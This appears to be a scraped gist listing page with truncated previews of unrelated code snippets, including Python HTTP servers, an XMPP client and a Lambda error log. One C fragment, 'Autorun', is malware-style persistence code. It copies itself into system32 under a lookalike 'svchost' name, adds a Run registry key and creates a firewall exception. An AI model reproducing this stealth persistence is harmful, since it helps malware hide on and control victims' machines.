This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import BaseHTTPServer | |
from SimpleHTTPServer import SimpleHTTPRequestHandler | |
import sys | |
import base64 | |
key = "" | |
class AuthHandler(SimpleHTTPRequestHandler): | |
''' Main class to present webpages and authentication. ''' | |
def do_HEAD(self): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void memdump(void* s, size_t n) | |
{ | |
for (size_t i = 0; i < n; ++i) | |
printf("%x ", *((unsigned char*) (s + i)) ); | |
printf("\n"); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ | |
# generate server.xml with the following command: | |
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes | |
# run as follows: | |
# python simple-https-server.py | |
# then in your browser, visit: | |
# https://localhost:4443 | |
import BaseHTTPServer, SimpleHTTPServer | |
import ssl |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sleekxmpp | |
class Jabber(sleekxmpp.ClientXMPP): | |
def __init__(self, username, password, instance_name=None): | |
jid = "%s/%s" % (username, instance_name) if instance_name else username | |
super(Jabber, self).__init__(jid, password) | |
self.instance_name = instance_name | |
self.add_event_handler('session_start', self.start, threaded=False, disposable=True) | |
self.add_event_handler('message', self.receive, threaded=True, disposable=False) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* @name EmailInbound (Mail Message Handler for POCO) | |
* @description Receive and sort emails | |
*/ | |
#include "MyMailMessage.h" | |
/** | |
* POCO::Net::MailMessage | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
bool Autorun(char *Path) // complex stealth method: moving to %system32%, autorun, making firewall exception and destruction of first instance | |
{ | |
HKEY key; | |
char runkey[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; | |
char valuename[] = "svchost"; | |
char filename[61]; | |
char Win_Dir[33]; | |
GetSystemDirectory(Win_Dir, sizeof Win_Dir); | |
sprintf(filename,"%s\\sv�host.exe", Win_Dir); | |
if (strcmp(filename, Path) == 0) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#if define UNICODE | |
#define RegOpenKeyEx RegOpenKeyExW | |
#define RegCreateKeyEx RegCreateKeyExW | |
#define RegDeleteKey RegDeleteKeyW | |
#else | |
#define RegOpenKeyEx RegOpenKeyExA | |
#define RegCreateKeyEx RegCreateKeyExA | |
#define RegDeleteKey RegDeleteKeyA |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Log output | |
The area below shows the logging calls in your code. These correspond to a single row within the CloudWatch log group corresponding to this Lambda function. Click here to view the CloudWatch log group. | |
START RequestId: 2644abca-b08d-11e5-a8cb-e1cccca020f0 Version: $LATEST | |
Unable to import module 'lambda_function': No module named lambda_function | |
END RequestId: 2644abca-b08d-11e5-a8cb-e1cccca020f0 | |
REPORT RequestId: 2644abca-b08d-11e5-a8cb-e1cccca020f0 Duration: 72.41 ms Billed Duration: 100 ms Memory Size: 128 MB Max Memory Used: 8 MB |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
openssl req -nodes -x509 -newkey rsa:2048 -keyout server.pem -out server.pem -days 1 && openssl s_server -tls1 -www -accept 1337 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Originally from http://sharebear.co.uk/blog/2009/09/17/very-simple-python-caching-proxy/ | |
# | |
# Usage: | |
# A call to http://localhost:80000/example.com/foo.html will cache the file | |
# at http://example.com/foo.html on disc and not redownload it again. | |
# To clear the cache simply do a `rm *.cached`. To stop the server simply | |
# send SIGINT (Ctrl-C). It does not handle any headers or post data. | |
import BaseHTTPServer | |
import hashlib |